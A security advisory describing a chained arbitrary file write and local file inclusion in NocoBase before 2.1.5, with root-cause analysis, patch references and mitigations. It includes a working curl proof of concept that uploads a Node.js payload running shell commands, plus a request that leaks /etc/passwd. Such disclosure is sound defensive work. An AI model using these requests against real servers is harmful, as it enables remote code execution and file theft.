NocoBase: Arbitrary File Write and Local File Inclusion leading to Remote Code Execution
An authenticated NocoBase admin can redirect the file-upload storage root to any path on disk, upload a malicious Node.js file there, then force the server to execute it via the plugin manager…

The problem
Two flaws in NocoBase versions before 2.1.5 chain into authenticated RCE.
The first flaw is in the file-manager plugin: the storages:update API accepts an arbitrary documentRoot value with no path validation. An admin can point the upload root at any directory the Node.js process can write to, including the application source tree.
The second flaw is in the plugin manager: the pm:enable action reads filterByTk from query params and passes it directly to Node.js require() with no sanitization. Any absolute path resolves and executes as a module. Non-JS files (like /etc/passwd) trigger a parse error whose message leaks file content into a downloadable server log, giving a bonus error-based file read primitive.
Proof of concept
A working proof-of-concept for this issue in @nocobase/server, with the exact payload below.
# Step 1: Redirect the upload storage root to the app working directory
curl -s -X POST "http://TARGET:13000/api/storages:update?filterByTk=<STORAGE_ID>" \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{"options":{"documentRoot":"."},"default":true}'
# Step 2: Upload a malicious Node.js payload
# /tmp/rce.js content:
# const { execSync } = require('child_process');
# require('fs').writeFileSync('/tmp/out.txt', execSync('id').toString());
# module.exports = {};
curl -s -X POST "http://TARGET:13000/api/attachments:upload" \
-H "Authorization: Bearer <TOKEN>" \
-F "file=@/tmp/rce.js;filename=rce.js;type=application/javascript"
# Step 3: Trigger execution via pm:enable LFI
curl -s "http://TARGET:13000/api/pm:enable?filterByTk=/absolute/path/to/rce.js" \
-H "Authorization: Bearer <TOKEN>"
# Bonus: error-based file read (non-JS file, content leaks into server log)
curl -s "http://TARGET:13000/api/pm:enable?filterByTk=/etc/passwd" \
-H "Authorization: Bearer <TOKEN>"Vuln 1 root cause: getDocumentRoot() in local.ts calls path.resolve() on the raw documentRoot value from the database record. It checks whether the value is absolute but never validates that it stays inside a safe base directory. The resolveSafePath() call that prevents filename traversal during upload uses this attacker-controlled root as its boundary, so traversal protection is entirely bypassed.
Vuln 2 root cause: the enable action in resource.ts takes filterByTk directly from query params, builds a CLI command with it, and the CLI runner calls requireModule(key), which does require(m) on the raw string. assertSafePluginPackageName() already existed in the codebase and rejects absolute paths and .. sequences, but it was never called in the HTTP action path, only in unrelated storage helpers.
The patch (PRs #9628 and #9701) adds assertSafePluginPackageName() into the pm:enable HTTP handler before the CLI call is made, and adds a documentRoot allowlist/containment check in the storage update handler so arbitrary absolute paths are rejected at write time.
CWE coverage: CWE-73 (External Control of File Name or Path), CWE-98 (Inclusion of Functionality from Untrusted Control Sphere), CWE-434 (Unrestricted Upload of File with Dangerous Type), CWE-209 (Generation of Error Message Containing Sensitive Information).
The fix
Upgrade @nocobase/server (and the full NocoBase package) to version 2.1.5 or later. The fix is in commits 7c9ffe1427a529d62576b83c35222ba7ef9b8d11 and a89e5a999b608bcb4ec67a845e924af0fb58a7c7, merged via pull requests #9628 and #9701. If you cannot upgrade immediately, restrict API access to the storages:update and pm:enable endpoints at the network or WAF layer, and ensure admin credentials are not shared.
Related research
- high · 7.5grok-faf-mcp: Arbitrary File Read via Unconfined Path in FAF Tools
- high · 7.5faf-mcp Arbitrary File Read/Write via Unconfined Path Argument
- high · 7.5claude-faf-mcp Arbitrary File Read/Write via Unconfined Path Argument
- highFlowise: Authenticated Arbitrary File Write via S3 Directory Loader Path Traversal